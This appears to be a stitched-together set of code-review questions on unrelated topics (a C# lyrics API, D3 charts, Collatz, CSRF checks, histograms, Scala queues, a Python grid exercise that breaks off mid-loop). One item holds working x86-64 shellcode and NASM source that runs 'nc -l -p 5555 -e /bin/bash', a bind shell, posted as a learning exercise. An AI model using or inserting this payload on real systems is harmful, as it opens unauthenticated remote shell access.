I am working on a .Net Core API to drive a lyrics application. Users can sign up, submit artists & lyrics, and earn kudos / XP points in the process. Basically a community-driven lyrics website.

CODE

I have the following ArtistsController.

[Route("api/artists")]
public class ArtistsController : Controller
{
    private readonly IArtistsService _artistsService;
    private readonly UserManager<BbUser> _userManager;

    public ArtistsController(IArtistsService artistsService, UserManager<BbUser> userManager)
    {
      _artistsService = artistsService ?? throw new ArgumentNullException(nameof(artistsService));
      _userManager = userManager;
    }

    [HttpGet]
    public async Task<IActionResult> GetArtists()
    {
      ArtistCardDtoCollection artistCardDtoCollection;
      if (User.Identity.IsAuthenticated)
      {
        var username = HttpContext.User.FindFirstValue(ClaimTypes.NameIdentifier);
        var user = await _userManager.FindByNameAsync(username);
        var roles = await _userManager.GetRolesAsync(user);
        artistCardDtoCollection = _artistsService.GetAllArtists(user.Id, roles.Contains("Admin"));
      }
      else
      {
        artistCardDtoCollection = _artistsService.GetAllArtists("", false);
      }

      return Ok( new { artists = artistCardDtoCollection });
    }

    [HttpGet("{slug}")]
    [HttpGet("{slug}/lyrics", Name = "GetArtist")]
    public async Task<IActionResult> GetArtist(string slug)
    {
      if (!_artistsService.ArtistExists(slug)) return NotFound();
      ArtistOverviewDto artistOverviewDto;
      if (User.Identity.IsAuthenticated)
      {
        var username = HttpContext.User.FindFirstValue(ClaimTypes.NameIdentifier);
        var user = await _userManager.FindByNameAsync(username);
        var roles = await _userManager.GetRolesAsync(user);
        artistOverviewDto = _artistsService.GetArtistBySlug(slug, user.Id, roles.Contains("Admin"));
      }
      else
      {
        artistOverviewDto = _artistsService.GetArtistBySlug(slug, "", false);
      }

      return Ok(artistOverviewDto);
    }

    [Authorize]
    [HttpPost]
    public async Task<IActionResult> CreateArtist([FromBody] ArtistCreateDto artistCreateDto)
    {
      if (artistCreateDto == null) return BadRequest();
      if (!ModelState.IsValid) return BadRequest(ModelState);
      var username = HttpContext.User.FindFirstValue(ClaimTypes.NameIdentifier);
      var user = await _userManager.FindByNameAsync(username);
      var artistOverviewDto = await _artistsService.AddNewArtist(user.Id, artistCreateDto);
      if (artistOverviewDto == null) return NotFound();
      return CreatedAtRoute("GetArtist", new {artistOverviewDto.Slug}, artistOverviewDto);
    }
}

I have 3 methods. One to get a list of artists, one to get a single artist and finally, one to create a new artist (you need to be logged in for that one).

How would you improve the code above? Readability of code is very important to me, and right now I don't feel it particularly reads well.


texts: Extensible factory method for starting D3 charts

texts:
I'm working on refactoring some existing code to be a bit more extensible and am wanting to create a generic factory API for starting D3 charts.

Currently, my factory looks like this:

import { select as d3Select } from 'd3';

const protoChart = {
  width: window.innerWidth,
  height: window.innerHeight,
  margin: {
    left: 10,
    right: 10,
    top: 10,
    bottom: 10,
  },
};

export default function chartFactory(opts, proto = protoChart) {
  const chart = Object.assign({}, proto);
  Object.entries(opts)
    .forEach(([key, val]) => {
      chart[key] = Object(val) === val ? Object.assign({}, chart[key], val) : val;
    });

  chart.svg = d3Select('body')
    .append('svg')
    .attr('id', chart.id || 'chart')
    .attr('width', chart.width - chart.margin.right)
    .attr('height', chart.height - chart.margin.bottom);

  chart.container = chart.svg.append('g')
    .attr('id', 'container')
    .attr('transform', `translate(${chart.margin.left}, ${chart.margin.top})`);

  return chart;
}

Which I can then instantiate with:

const chart = chartFactory({
  margin: {
    left: 20,
  },
  id: 'wooo',
});

This allows me to override the all the top-level properties with objects, meaning I can set the left margin and nothing else when I instantiate.

My questions:

Is there a better way of assigning my factory arguments to the prototype? I feel like I'm missing something here, though it could just be due to the fact I'm doing a semi-deep merge.
Am I instantiating the prototype within my factory correctly? Or will I have problems with instance safety if I create multiple charts?
Is there a better pattern I should be using for a functional programming-inspired library like D3?


texts: Efficient solution to Project Euler 14 (Longest Collatz sequence)

texts:
This is an iterative review. I asked for reviews on a Collatz sequence generator here. I tried to address all of the suggestions that were made.

I've added a new function get_longest_collatz(n), which can be used to solve Project Euler problem 14 (the question states: which number under a million has the longest Collatz sequence?)

The solution makes use of memoization.

def collatz(n):
    """
    Generator for collatz sequence beginning with n.
    n must be 0, 1, 2 ...

    >>> list(collatz(1))
    [1]

    >>> list(collatz(10))
    [10, 5, 16, 8, 4, 2, 1]
    """
    yield n
    while n > 1:
        n = n // 2 if n % 2 == 0 else 3 * n + 1
        yield n

def get_longest_collatz(n):
    """
    Returns the number less than n with the longest collatz sequence.

    >>> get_longest_collatz(1000)
    871
    """
    lengths = {} # Keys are natural numbers, values are lengths of collatz sequence
    for i in range(n):
        for count, x in enumerate(collatz(i)):
            if x in lengths:
                # The sequence length for x has already been found
                lengths[i] = count + lengths[x] # Add onto previously found sequence length
                break
        else:
            lengths[i] = len(list(collatz(i))) # Store full length of collatz sequence
    return max(lengths, key=lengths.get) # Key of memo with largest value


texts: Searching a list of an int arrays into another list of int arrays

texts:
We are given two list on integer arrays, and the objective is to retrieve another list which contains the duplicates in both lists.

The code developed is the following:

public List<int[]> GetDuplicates(List<int[]> pInputList1, List<int[]> pInputList2)
{
    var outputList = new List<int[]>();

    pInputList2.ForEach(x =>
    {
        outputList.AddRange(pInputList1.Select(j => j).Where(y =>
        {
            for (int i = 0; i < y.Length; i++)
                if (y[i] != x[i])
                    return false;
            return true;
        }));
    });

    return outputList;
}

The code works as intended what I am concerned about is optimization, how to improve this code in both, execution time and stability.

What I am doing in this code is compare each element from one list with ALL of the elements of the other list (I see a problem here, but don't know how to approach it well, the foreach seems not to be the best option here).


texts: A regex in Java. Latin letters, digits, dots, and minus signs

texts:
There is a user login, and the requirements are the following:

The login must start with a Latin letter.
The login must finish with either a Latin letter or a digit.
There may also be digits, dots, and minus signs in the login.
Min. login length is 1.
Max. login length is 20.

Here is my Java code.

boolean checkLogin(String login) {
        final int maxLength = 20;
        if (login == null || login.isEmpty() || login.length() > maxLength) {
            return false;
        }

        final Pattern pattern = Pattern.compile("^[a-z][a-z\\d\\.\\-]*[a-z\\d]+$", Pattern.CASE_INSENSITIVE);
        final Matcher matcher = pattern.matcher(login);
        return matcher.matches();
}

Is everything OK?


texts:
I have written code to solve the prime generator problem. I am given an input which contains in the first line the number of test cases, and for each test case, I am given a range and I have to print the list of prime numbers in that range. However, it doesn't pass and says that time limit has exceeded. I tried optimizing the code as best as I could, but I couldn't find any further optimization.

import java.util.LinkedHashSet;
import java.util.Scanner;
import java.util.Set;

class Primes {

private static Set<Long> primes = new LinkedHashSet<Long>();
private static long biggestPrime = 0;

public static void main(String[] args) {
    Scanner scanner = new Scanner(System.in);
    int numberOfTC = scanner.nextInt();

    for (int i = 0; i < numberOfTC; i++) {

        long a = scanner.nextInt();
        long b = scanner.nextInt();
        long startFrom = a;

        if (a >= biggestPrime) {
            startFrom = biggestPrime;
        }
        if (biggestPrime == 0) {
            startFrom = 2;
        }
        for (long j = startFrom; j <= b; j++) {
            if (isPrime(j) && j >=a)  {
                System.out.println(j);
            }
        }
        System.out.println();
    }
    scanner.close();

}

private static boolean isPrime(long x) {
    if (x < biggestPrime) {
        if (primes.contains(x)) {
            return true;
        }
        return false;
    }
    for (Long prime : primes)
    {
        if (prime*prime > x ) {
            break;
        }
        if (x % prime == 0) {
            return false;
        }
    }
    if (biggestPrime < x) {
        primes.add(x);
        biggestPrime = x;
    }
    return true;
}
}


texts: User-defined function for estimating coefficient of performance

texts:
I am using hourly weather data to estimate performance of commercial refrigeration systems under various parameters. The formula for estimating co-efficient of performance (COP) of these systems is repeated for each hour.

I defined a formula to do this calculation:

Public Function estimatedCOP(dischargeTemp As Double, suctionTemp As Double)

Dim a As Double, b As Double, c As Double, d As Double, e As Double, f As Double

a = 9.12808037
b = 0.15059952
c = 0.00043975
d = -0.09029313
e = 0.00024061
f = -0.00099278

estimatedCOP = a + b * suctionTemp + c * suctionTemp * suctionTemp + _
    d * dischargeTemp + e * dischargeTemp * dischargeTemp + _
    f * suctionTemp * dischargeTemp

End Function

The function is repeated twice in a column with 8,760 rows (each hour of the year).

This gives the expected result, but takes a long time to calculate and update (as it's repeated ~17,000 times). How can I improve the performance of this function?


texts:
I'm generating a table to use on jQuery visualize plugin and generate a chart. The code is pretty good, but maybe there is a way to improve it. Maybe do more work on the LINQ query and less stuff on the rest of the code.

The idea is get every content and the launch date of them for each region. Separate all dates and the the amount of content launched that day. But maybe there is a better way. Anyone?

Here is the method i use:

    public KeyValuePair<DateTime[], List<KeyValuePair<string, int[]>>> TimeGrowth(int days, params string[] locales)
    {
        DateTime startdate = DateTime.Today.AddDays(days * (-1));

        var qry = from r in GlobalVariables.Regions
                  where locales.Contains(r.ID)
                  select new
                  {
                      Region = r,
                      Launches = (from d in r.RegionalContents
                                 where d.RegionId == r.ID && d.PublishDate != null
                                 group d by d.PublishDate into groupeddates
                                 select new
                                 {
                                     Date = groupeddates.Key,
                                     Count = groupeddates.Count()
                                 }).OrderBy(x => x.Date)
                  };

        var regions = qry.ToArray();

        var dates = new List<DateTime>();
        var datesbeforestart = new List<DateTime>();

        var countries = new List<KeyValuePair<string, int[]>>();

        for (int i = 0; i < regions.Length; i++)
        {
            for (int j = 0; j < regions[i].Launches.Count(); j++)
            {
                var data = regions[i].Launches.ElementAt(j).Date.Value;
                if (data > startdate)
                    dates.Add(data);
                else
                    datesbeforestart.Add(data);
            }
        }

        dates = dates.Distinct().OrderBy(x => x.Date).ToList();

        for (int i = 0; i < regions.Length; i++)
        {
            var values = new int[dates.Count];
            values[0] = CountDateInterval(datesbeforestart.Min(), startdate, regions[i].Region.ID);

            int acum = values[0];
            for (int j = 1; j < dates.Count; j++)
            {
                int valor = 0;

                if (regions[i].Launches.Any(x => x.Date == dates[j]))
                    valor = regions[i].Launches.Single(x => x.Date == dates[j]).Count;

                acum += valor;

                values[j] = acum;
            }

            var country = new KeyValuePair<string, int[]>(regions[i].Region.CountryEnglish, values);

            countries.Add(country);
        }

        countries = countries.OrderByDescending(x => x.Value.Max()).ToList();

        var finalresult = new KeyValuePair<DateTime[], List<KeyValuePair<string, int[]>>>(dates.ToArray(), countries);

        return finalresult;
    }

You can see the actual running code here on the last chart: http://programad.net/xbltoolsv2beta/Stats


texts: Converting Celsius and Fahrenheit in C++

texts:
I've made my first little program written in C++ and was wondering if anyone could evaluate it and suggest some improvements. No copy paste. I was wondering if I can do something with my little knowledge and came up with the simple idea of converting Celsius and Fahrenheit.

I don't know why, but when using 9/5, it gives a different output than when using 1.8 or 9.0/5.0.

#include <iostream>
using namespace std;

// My very first code written by myself

  char temperature; // what are we converting ( celsius or farenheit into another )
  float value; // value that is being converted ( -10, 0, 10, 20.5 etc. )

int main()
{
    cout << "Welcome" << "\n" << "This little program converts Celsius to Fahrenheit and vice versa" << endl;
    cout << "Enter c for Celsius, f for Fahrenheit or p for proof" << endl;
    cin >> temperature; // storing input which accepts only c, f, p
    switch (temperature) { // checking input for one of 3 accepted options, else using default
        case 'c' : {
            cout << "Converting Celsius to Fahrenheit" << "\n" << "Enter value" << endl;
            cin >> value; // storing the value of temperature
            float farenheit = value*1.8+32; // converting celsius to fahrenheit using the formula
            cout << value << " Celsius in Fahrenheit is: " << farenheit << endl;
        }
            break;
        case 'f' : {
            cout << "Converting Fahrenheit to Celsius" << "\n" << "Enter value" << endl;
            cin >> value; // storing the value of temperature
            float celsius = (value-32)/1.8; // converting fahrenheit to celsius using the formula
            cout << value << " Fahrenheit in Celsius is: " << celsius << endl;
        }
            break;
        case 'p' : {
            cout << "Proof that program is running correctly, here is a list of -20 to 20 Celsius converted to Fahrenheit" << endl;
            for (int i=-20; i<21; i++) { // using a for loop to print Celsius to Fahrenheit values from -20 to 20
                cout << i << " = " << i*1.8+32 << endl; // output Celsius = Fahrenheit
            }
        }
            break;
        default:
            cout << "Invalid input! Use c, f or p" << endl; // any input except the 3 accepted options will result in this default output
    }
    cout << "Made by blackborg";
    return 0;
}


texts: Chart of answered CR posts percentages over time - Part 2

texts:
I created a graph to show the change in the percentage of questions answered over time and the first version fetched data from chat transcripts using PHP. The sub-domain I have registered for my webspace doesn't offer HTTPS so the calls to file_get_contents() would fail when run there. Because of this, I started looking at alternatives.

I looked at using other scripting languages and found that github offered github pages and noted that it was secure but didn't allow any server-side scripting. So tried using client-side JavaScript with the fetch API. Initially there were CORS issues and after a little research I found this post, which mentioned a Heroku page that would act as a proxy. I used the proxy to get the data, and I have been interested in the new ES-8 async functions and the await operator so I utilized those.

How does the code look? What would you change about it?

Can you help make the chart results go up by providing a good answer? And remember to vote on any answer that is helpful.

const url = 'https://chat.stackexchange.com/search?q=%22RELOAD!+There+are%22&user=125580&room=8595&pagesize=150';
const pUrl = 'https://cors-escape.herokuapp.com/' + url;
const chartOptions = {
  title: {
    display: true,
    text: 'Answered percentage in recent months'
  },
  scales: {
    xAxes: [{
      display: true,
      scaleLabel: {
        display: true,
        labelString: 'Date'
      }
    }],
    yAxes: [{
      display: true,
      scaleLabel: {
        display: true,
        labelString: 'Percentage'
      }
    }]
  }
};
const dataset = {
  label: 'Answered Percentage',
  backgroundColor: window.chartColors.red,
  borderColor: window.chartColors.red,
  fill: false
};

async function getGraphData() {
  const loadingImage = document.getElementById('loading');
  try {
    const response = await fetch(pUrl);
    const container = document.createElement('div');
    container.innerHTML = await response.text();
    const timestamps = container.getElementsByClassName('timestamp');
    const contents = container.getElementsByClassName('content');

    const labels = [],
      data = [];
    if (contents.length === timestamps.length) {
      let i = 0;
      for (contentElement of contents) {
        const matches = contentElement.innerHTML.match(/\d{2}.\d{4}/);
        if (matches.length) {
          data.unshift(matches[0]);
          labels.unshift(timestamps[i++].innerHTML);
        }
      }
      if (data.length) {
        loadingImage.style.display = 'none';
        drawChart(data, labels);
      }
    }
  } catch (err) {
    loadingImage.parentNode.innerHTML = 'Error loading data';
  }
}

document.addEventListener('DOMContentLoaded', getGraphData)
const drawChart = (data, labels) => {
  Chart.defaults.global.legend.display = false;
  const config = {
    type: 'line',
    data: {
      labels,
      datasets: [Object.assign(dataset, {data})]
    },
    options: chartOptions
  };
  const ctx = document.getElementById('canvas').getContext('2d');
  window.myLine = new Chart(ctx, config);
};
h1 {
  font-family: Arial, "Helvetica Neue", Helvetica, sans-serif;
}

  Graph of Answered Question Percentage on Code Review SE

  <canvas id="canvas"></canvas>


texts: Almost-clean shellcode that launches a netcat bash listener

texts:
I'm trying to learn to write shellcode, and had the idea to try to write some that launches a nc listener that starts a bash shell on connection. It works by executing the execve system call with nc -l -p 5555 -e /bin/bash as its arguments.
In a contrived example, it works when run directly:
int main() {  // contrived.c
    char code[] = "\x4d\x31\xdb\x41\x53\xbf\x68\x00\x00\x00\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x62\x61\x73\x57\x49\x89\xe2\x41\x53\xbf\x2d\x65\x00\x00\x57\x49\x89\xe1\x41\x53\xbf\x35\x35\x35\x35\x57\x49\x89\xe0\x41\x53\xbf\x2d\x70\x00\x00\x57\x48\x89\xe2\x41\x53\xbf\x2d\x6c\x00\x00\x57\x48\x89\xe1\x41\x53\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x6e\x63\x57\x48\x89\xe0\x48\x89\xc7\x41\x53\x41\x52\x41\x51\x41\x50\x52\x51\x50\x48\x89\xe6\x41\x53\x48\x89\xe2\xb8\x3b\x00\x00\x00\x0f\x05";

    void(*f)() = (void(*)())code;

    f();
}

Compiled with:
gcc -fno-stack-protector -z execstack contrived.c -o contrived

And it's almost clean. Some of the flag strings are so short that the instructions contain some leading null bytes. That's not my primary concern though; I'll find a way around that. My main concern is it feels a bit hacky. The main issue was that the second argument to execve is an array of strings containing the executable and arguments to the executable. Getting strings onto the stack, then creating an "array" of the addresses to each string proved to be incredibly difficult. I ended up making heavy use of scratch registers; one holding the address to each argument. I'd like to know if there are cleaner, more flexible way of creating an "array" of addresses to other data on the stack. I'd also like tips on anything else. I'm not proficient in NASM/assembly yet.
Assembled/linked using:
nasm -Wall -f elf64 little.s -o little.o && ld little.o -o little

little.s:
global _start

; rax, rcx, rdx,  r8,   r9,  r10
; nc   -l   -p    5555  -e  -/bin/bash

section .text
    _start:
        xor r11, r11  ; The zero

        push r11
        mov rdi, 0x68  ; /bin/bash
        push rdi
        mov rdi, 0x7361622f6e69622f
        push rdi
        mov r10, rsp

        push r11
        mov rdi,   0x652d  ; -e
        push rdi
        mov r9, rsp

        push r11
        mov rdi, 0x35353535  ; 5555
        push rdi
        mov r8, rsp

        push r11
        mov rdi, 0x702d  ; -p
        push rdi
        mov rdx, rsp

        push r11
        mov rdi, 0x6c2d  ; -l
        push rdi
        mov rcx, rsp

        push r11
        mov rdi, 0x636e2f2f6e69622f  ; /bin//nc
        push rdi
        mov rax, rsp

        mov rdi, rax

        push r11  ; Array terminator
        push r10
        push r9
        push r8
        push rdx
        push rcx
        push rax
        mov rsi, rsp  ; Argv array

        push r11
        mov rdx, rsp  ; An empty, null-terminated env "array"

        mov eax, 59  ; execve
        syscall


texts:
I'm currently working on an implementation of a CSRF protection. What is the best practice when we detect a CSRF? Is it better to 404 the page, 403 (forbidden), 200 (OK) with an error message, something else?

Bonus : here's my code.
I'm not very proud of the preg_replace and ob_*. If you also have suggestions on how to do it better, I'll take that too.

The addCSRF method is called just before sending the output of an HTML page.
The checkCSRF method is called when the server receives a request.

<?php
// This method checks if the content contains a form and adds a csrf_token hidden field
public static function addCSRF()
{
    $content = ob_get_contents();
    if (strlen($content))
    {
        // Random csrf token
        $randomtoken = base64_encode(openssl_random_pseudo_bytes(32));
        // Add the hidden input to the content if needed
        $content = preg_replace('/(<([^>]*\s)?form(\s[^>]*)?>)/i', '\1<input type="hidden" name="csrf_token" value="'.$randomtoken.'" />', $content, -1, $count);
        // If at least one input has been added, add the csrf_token value in the $_SESSION and replace the content
        if ($count)
        {
            Session::set('csrf_token', $randomtoken);
            // Echo the new content
            ob_end_clean();
            ob_start();
            echo $content;
        }
    }
    return;
}
// This method checks if a form has been submited and if the csrf token is given and valid
public static function checkCSRF()
{
    // No form submitted
    if (!isset($_POST))
        return;
    // CSRF detected
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] != Session::get('csrf_token'))
    {
        // 404 ? 403 ? 200 + error message ?
    }
    Session::forget('csrf_token');
}


texts:
I'm visualizing my stored data in an histogram similar to this one:

However, I'm sure that my code smells a lot! So I'd like to have your opinion on how to make it better.

$listings = array(
              array('Price' => 10),
              array('Price' => 10),
              array('Price' => 11)
            ); // so on and so forth, this data is pulled from the database.

// flattening the array so I remove the "Price" key
// the array takes the form of array(10,10,11,...)
foreach($listings as $listing) {
    $flattenedListings[] = $listing['Price'];
}

$widths = range(0, 100, 10); // creates array of the form: array(0, 10, 20, 30, 40, ...)
$bins = array();
$isLast = count($widths);
foreach($widths as $key => $value) {
    if($key < $isLast - 1) {
        $bins[] = array('min' => $value, 'max' => $widths[$key+1]);
    }
}

// creates array of the form:
// $bins = array(
//      array('min'=>0, 'max' => 10),
//      array('min'=>10,'max' => 20),
//      array('min'=>30, 'max'=>40)
//     );

$histogram = array();
        foreach($bins as $bin) {
            $histogram[$bin['min']."-".$bin['max']] = array_filter($flattenedListings, function($element) use ($bin) {
                if( ($element > $bin['min']) && ($element <= $bin['max']) ) {
                    return true;
                }
                return false;
            });
        }

// Last one is a bit complicated, but basically what it does is that it creates an array of ranges as keys, so it generates this:

// array('0-10' => array(1, 2, 3, 4, 5, 6),
//         '10-20' => array(11, 19, 12),
//         '20-30' => array(),
//   );
// Or in other words: foreach range in the histogram, php creates an array containing      values within the allowed limits.

    foreach($histogram as $key => $val) {
        $flotHistogram[$key] = (is_array($val)) ? ( (count($val)) ? count($val) : 0 ) : 0;
    }

// And finally it just counts them, and returns a new array.

As you can see in my code, I'm making an excessive use of foreach loops to basically do a "simple task."

Basically what I have is a list of items along with their prices, and I want to count how many items belong to each range.  My ranges are 10 numbers apart: (0 - 10, 10 - 20, 20 - 30, etc...)

Ideally the output should tell me how many items there are in a given category, like 3 items in the range of $10 - $20, 2 items in the range of $20 - $30 and 1 item in the range of $30 - $40, etc... In the following format:

array('0-10' => 0, '10-20' => 3, '20-30' => 2, '30-40' => 1);

Given the following input:

array(
    array('Price' => 11),
    array('Price' => 12),
    array('Price' => 20),
    array('Price' => 25),
    array('Price' => 20.1),
    array('Price' => 33.5)
);

Additional info:

I'm pulling my prices from a MySQL database using PDO option PDO::FETCH_ASSOC.  How could the flattening of the array be skipped (instead of fetching an array of arrays, just fetch the numbers in a 1 dimensional array)?


texts:
I have a map of cars Map<String, Set<Car>> which can be returned by getCarsMap() method where key is model of car , and value is list of cars of same model.

I would like to improve Car addCar(Car car) function. For now I wrote this a bit ugly piece of code.

public Car addCar(Car car) {
if(getCarsMap().entrySet().stream().anyMatch(es -> es.getKey().equals(car.getModel()))){
    if(!getCarsMap().get(car.getModel()).contains(car)){
        getCarsMap().get(car.getModel()).add(car);
    }
}else{
    Set<Car> tmpSet = new HashSet<Car>();
    tmpList.add(car);
    getCarsMap().put(car.getModel(), tmpSet) ;
}
return car;}

Since purpose is to learn streams, lambdas etc. (java8) I would love to use as these things as much as possible.


texts: Capitalize a sequence of lines entered via console input and print/return

texts:
I'm running through the popular python practice exercises located at github:
https://github.com/zhiwehu/Python-programming-exercises/blob/master/100%2B%20Python%20challenging%20programming%20exercises.txt

I recently discovered recursive functions. So when asked the following in the above link:

Question 9
Level 2

Question£º
Write a program that accepts sequence of lines as input and prints the lines after making all characters in the sentence capitalized.
Suppose the following input is supplied to the program:
Hello world
Practice makes perfect
Then, the output should be:
HELLO WORLD
PRACTICE MAKES PERFECT

My answer is:

def capitalize_line(string=""):
    """Capitalize and add a newline to the input str(if present)"""
    inp = input("enter: ").upper()
    string = "\n".join([string, inp]) if string and inp else "".join([string, inp])
    if not inp:
        print(string)
        return string
    return capitalize_line(string=string)

E.g. Two inputs of 'hello' and 'world' would return 'HELLO\nWORLD'.

Is this a suitable solution? Pythonic?

The link answer was:

Solution:
lines = []
while True:
    s = raw_input()
    if s:
        lines.append(s.upper())
    else:
        break;

for sentence in lines:
    print sentence


texts:
Today, something possessed me and I started learning assembly. My poison of choice is the lc-3, this is my very first program.

It is actually only the first part of a two part problem, but this already took enough that I thought it merited a review, just in case the day's insanity also expressed itself in my code.

It runs without errors, I'm fairly confident the OR logic is sound, I'd like to focus on ascertaining that I'm storing/loading effectively and in the correct locations.

The task:

  Perform an OR on two binary numbers stored in X3020 and x3021
  Store the result at x3022

My code:

.ORIG x3000 ;
  LD R0, x001f  ; fetches data from x3020, stores into R0
  LD R1, x001f  ; fetches data from x3021, stores into R1

  NOT R0, R0    ; start of OR logic
  NOT R1, R1
  AND R2, R0, R1
  NOT R2, R2   ; end of OR logic

  ST R2, x001B  ; Stores result into x3022
  HALT
.END

Gratitude to the brave and wonderful souls who review assembly code.


texts: Using generic methods for basic crud operations

texts:
Regarding re-usability, is this OK?  What might go wrong?  What would be a better design?  Performance-related issues and any other comments are welcome.

package sample.library.dao.util;

import java.io.Serializable;
import java.util.List;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.orm.hibernate3.HibernateTemplate;
import org.springframework.transaction.annotation.Transactional;

/**
 * @author mulean
 *
 */
 @Transactional(value = "transactionManager", timeout = 30,
 rollbackFor = java.lang.Exception.class)
 public class DAOUtil {

@Autowired
HibernateTemplate template;

public  <T> T updateData(T t){
    template.update(t);
    return t;
}
public  <T> T delete(T t){
    template.delete(t);
    return t;
}

public  <T> Boolean save(T t){
    boolean success = false;
    try{
        template.saveOrUpdate(t);
        success = true;
    }catch(Exception e){
        success = false;
        return success;
    }
        return success;
}
@SuppressWarnings("unchecked")
public  <T> List<T> listData(String className){
    List<T> items = null;
    items = template.find("from "+className.toUpperCase());
    return items;
}
}


texts: XML processing, hopefully avoiding explicit arguments

texts:
I'm stuck trying to refactor code below into one that would be reusable in different contexts. I would like to print another triple, for "parent" sub-tree but without explicitly passing lens to each textFrom function.

Intuition tells me there should be a way to lift structure under Maybe (Text, Text, Text) to one that takes an argument and passes it everywhere.

{-# LANGUAGE OverloadedStrings #-}

import System.Environment
import Text.XML.Lens
import Text.XML
import Data.String
import Control.Lens
import Control.Applicative
import Data.Maybe
import Data.Text

main = do
  src:xs <- getArgs
  pom <- load src
  let textFrom name = listToMaybe $ pom ^.. root ./ ell name . text
      coordinates = (,,) <$> textFrom "groupId" <*> textFrom "artifactId" <*> textFrom "version"
  print $ coordinates  -- pass (pom ^.. root) here

load = Text.XML.readFile def . fromString
parent pom = pom ^.. root ./ ell "parent"


texts:
is there an easier/more efficient way to join two JSON objects on a common property than this? It's a GeoJSON file (basically an array of objects), and I want to pull in a property from another JSON file (array of objects) based on a common property, similar to a SQL SELECT a.*, b.* FROM a LEFT JOIN b ON a.id = b.a_id

$.when(
    $.getJSON('https://data.phila.gov/resource/bbgf-pidf.geojson'),
    $.getJSON('https://data.phila.gov/resource/r24g-zx3n.json?%24select=count(*)%20as%20value%2C%20%3A%40computed_region_bbgf_pidf%20as%20label&%24group=%3A%40computed_region_bbgf_pidf&%24order=value%20desc')
).done(function(responseGeojson, responseData) {
    var data = responseData[0]
    var geojson = responseGeojson[0]

    // Create hash table for easy reference
    var dataHash = {}
    data.forEach(function(item) {
        if(item.label) dataHash[item.label] = item.value
    })

    // Add value from hash table to geojson properties
    geojson.features.forEach(function(item) {
        item.properties.incidents = +dataHash[item.properties._feature_id] || null
    })

    console.log(geojson)
})


texts: Functional, Loaner-Like Pattern For Consuming SQS Queues, Deleting Queue Items On Success

texts:
My program fetches input from a RabbitMQ or Amazaon SQS-like queue.    There is not always input available in the queue.  If a message is available, it triggers work.  If that work is successful, message needs to be deleted so that work is not repeated.  If work is unsuccessful, message needs to be made visible again, so that it is re-processed ASAP.

I'd like to use the Loaner pattern to avoid a lot of clunky code like:

checkQueue.flatMap { case None => /* no work... log and bail */ case Some(work) => try { /* a bunch of work */ } finally { deleteMessage or makeMessageVisible} }

(Doesn't look so clunky written out in psuedo-scala, but it quickly becomes clunky.  Also, it's repeated all over the place.)

I'd like to use the Loaner pattern to factor out repetition and make the code more re-usable.  The ultimate goal would be a a function something like this:

withQueueItem[A](block: QueueItem => \/[Rollback, Commit[A]]) : Task[A]

If no work is available, block is not executed.  If work is available, block executes on it and returns Rollback or CommitA depending on whether item should be deleted from queue because it's been successfully processed.

Problems emerge right away, for example:  I need a return when no work is available.   I could do Task[Option[A]] or Task[/[ResourceUnavailable,A]] or any number of other things.

Another example:  block has no result if it's doing a rollback... I guess I could just make Rollback Rollback(e: Throwable) and change the return type to:

 Task[\/[ResourceUnavailable, \/[Throwable, A]].

Third example:  What do I want to do when deleting message from queue fails?  Throw an exception?  This is a case I need to catch, because if work has truly been completing it, re-doing it effects external systems. Since it needs to be caught and accounted for in the business logic, it seems like I would need to further complicate the method signature to account for...

 Task[\/[CommitFailed, \/[ResourceUnavailable, \/[Throwable, A]]]] ??????

The code below is one attempted implementation of Loaner.  Each one just ends up as a tangled mess, as you can see.

//This is a horrible mess... I could use some feedback both on this specific sample, and general approach.

    abstract class WorkQueueManager[I, M] extends WithLogging
    {

      //Check a queue (like an SQS queue) and return head message if available
      //I is body of the message deserialized to format we're actually working with
      //M is type like sqs.Message that contains info about raw item necessary for deleting it
      protected abstract def pullNextWorkItem : Task[Option[(I, M)]]

      //With an sqs-like queue, this deletes an item form the queue
      protected abstract def markWorkItemComplete(itemMetadata: M) : Task[Unit]

      //With an sqs-like queue, this makes item visible again
      protected abstract  def forgetWorkItem(itemMetadata: M) : Task[Unit]

       //The main event
      def withWorkItem[A](block: I => Task[\/[Rollback, Commit[A]]]) : Task[\/[ResourceUnavailable, \/[Throwable, A]]] =  {

        pullNextWorkItem.flatMap {
          case None =>
            logger.debug("No work available at the moment...")
            Task.now(-\/(ResourceUnavailable("work queue item")))

          case Some((workItem: I, metadata: M)) =>
            block(workItem).map {
              case -\/(Rollback(e: Throwable)) =>
                logger.debug("Work failed 'rolling back' work item (returning to queue)")
                //TODO
                forgetWorkItem(metadata).runAsync {
                  case -\/(e: Throwable) =>
                  case \/-(Unit) =>
                }

                \/-(-\/(e))
              case \/-(Commit(result: A)) =>
                logger.debug("Work succeeded. 'committing' work item (deleting from queue)")
                //TODO
                markWorkItemComplete(metadata).runAsync {
                  case -\/(e: Throwable) =>
                  case \/-(Unit) =>
                }

                \/-(\/-(result))

            }
        }

      }

    }


texts: Character Picture Grid exercise - automatetheboringstuff

texts:
Regarding the Character picture exercise located at the end the following page:
https://automatetheboringstuff.com/chapter4/

  Say you have a list of lists where each value in the inner lists is a
  one-character string, like this:

grid = [['.', '.', '.', '.', '.', '.'],
        ['.', 'O', 'O', '.', '.', '.'],
        ['O', 'O', 'O', 'O', '.', '.'],
        ['O', 'O', 'O', 'O', 'O', '.'],
        ['.', 'O', 'O', 'O', 'O', 'O'],
        ['O', 'O', 'O', 'O', 'O', '.'],
        ['O', 'O', 'O', 'O', '.', '.'],
        ['.', 'O', 'O', '.', '.', '.'],
        ['.', '.', '.', '.', '.', '.']]

  You can think of grid[x][y] as being the character at the x- and
  y-coordinates of a “picture” drawn with text characters. The (0, 0)
  origin will be in the upper-left corner, the x-coordinates increase
  going right, and the y-coordinates increase going down.

  Copy the previous grid value, and write code that uses it to print the
  image.

..OO.OO..
.OOOOOOO.
.OOOOOOO.
..OOOOO..
...OOO...
....O....

I wrote the following code, any feedback is appreciated.

grid = [['.', '.', '.', '.', '.', '.'],
        ['.', 'O', 'O', '.', '.', '.'],
        ['O', 'O', 'O', 'O', '.', '.'],
        ['O', 'O', 'O', 'O', 'O', '.'],
        ['.', 'O', 'O', 'O', 'O', 'O'],
        ['O', 'O', 'O', 'O', 'O', '.'],
        ['O', 'O', 'O', 'O', '.', '.'],
        ['.', 'O', 'O', '.', '.', '.'],
        ['.', '.', '.', '.', '.', '.']]

for i in range(6):
    for a in range(9):
        if a < 8:
